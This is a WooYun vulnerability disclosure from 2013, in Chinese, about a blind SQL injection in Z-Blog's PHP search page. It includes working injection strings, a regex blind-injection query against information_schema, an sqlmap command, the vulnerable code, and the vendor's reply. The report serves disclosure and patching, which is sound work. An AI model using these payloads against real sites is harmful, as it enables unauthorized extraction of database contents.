当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-037956

漏洞标题:Z-Blog的php版前台正则SQL盲注漏洞

相关厂商:Z-Blog

漏洞作者: 只发通用型

提交时间:2013-09-24 12:02

修复时间:2013-12-23 12:03

公开时间:2013-12-23 12:03

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-24: 细节已通知厂商并且等待厂商处理中
2013-09-24: 厂商已经确认,细节仅向厂商公开
2013-09-27: 细节向第三方安全合作伙伴开放
2013-11-18: 细节向核心白帽子及相关领域专家公开
2013-11-28: 细节向普通白帽子公开
2013-12-08: 细节向实习白帽子公开
2013-12-23: 细节向公众公开

简要描述:

第二发...另外有点疑惑想问下你们的开发

详细说明:

问题出在
/zb_system/function/c_system_common.php

function GetVars($name,$type='REQUEST'){
if ($type=='ENV') {$array=&$_ENV;}
if ($type=='GET') {$array=&$_GET;}
if ($type=='POST') {$array=&$_POST;}
if ($type=='COOKIE') {$array=&$_COOKIE;}
if ($type=='REQUEST') {$array=&$_REQUEST;}
if ($type=='SERVER') {$array=&$_SERVER;}
if ($type=='SESSION') {$array=&$_SESSION;}
if ($type=='FILES') {$array=&$_FILES;}
if(isset($array[$name])){
var_dump($array[$name]);
return $array[$name];
}else{
return null;
}
}


GET过来的数据木有经过过滤就进入dbsql.php里面查询
在前台的搜索框里输入注入语句,h为可搜索到的字符
h%') and 1)#

1.jpg


and 1可以替换成SQL注入,这里使用正则盲注
h%')and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="zblog" AND table_name REGEXP '^[a-z]' LIMIT 0,1))#

2.jpg


一个个字符把数据读出来..
手注太蛋疼 使用sqlmap

python sqlmap.py -u 网站地址/search.php?q=能成功搜索到的字符 -p 能成功搜索到的字符 --prefix "%')" --suffix ")#"


4.jpg


3.jpg


我想弱弱问一句 为啥要把\'转换回来.求注入的节奏?
zblog/zb_system/function/c_system_base.php

function _stripslashes(&$val) {
if(!is_array($val)) return stripslashes($val);
foreach($val as $k => &$v) $val[$k] = _stripslashes($v);
return $val;
}
if(get_magic_quotes_gpc()){
_stripslashes($_GET);
_stripslashes($_POST);
_stripslashes($_COOKIE);
}


漏洞证明:

4.jpg


3.jpg

修复方案:

使用mysql_real_escape_string()或addslashes()对传入参数进行过滤,或者使用str_replace()对一些关键词进行替换。

版权声明:转载请注明来源 只发通用型@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-09-24 13:41

厂商回复:

非常感谢。把\'转换回来是因为dbsql有addslashes()处理,可能dbsql没处理好。

最新状态:

2013-09-24:找到原因了,dbsql第197行是多余的,所以引起了所有的BUG;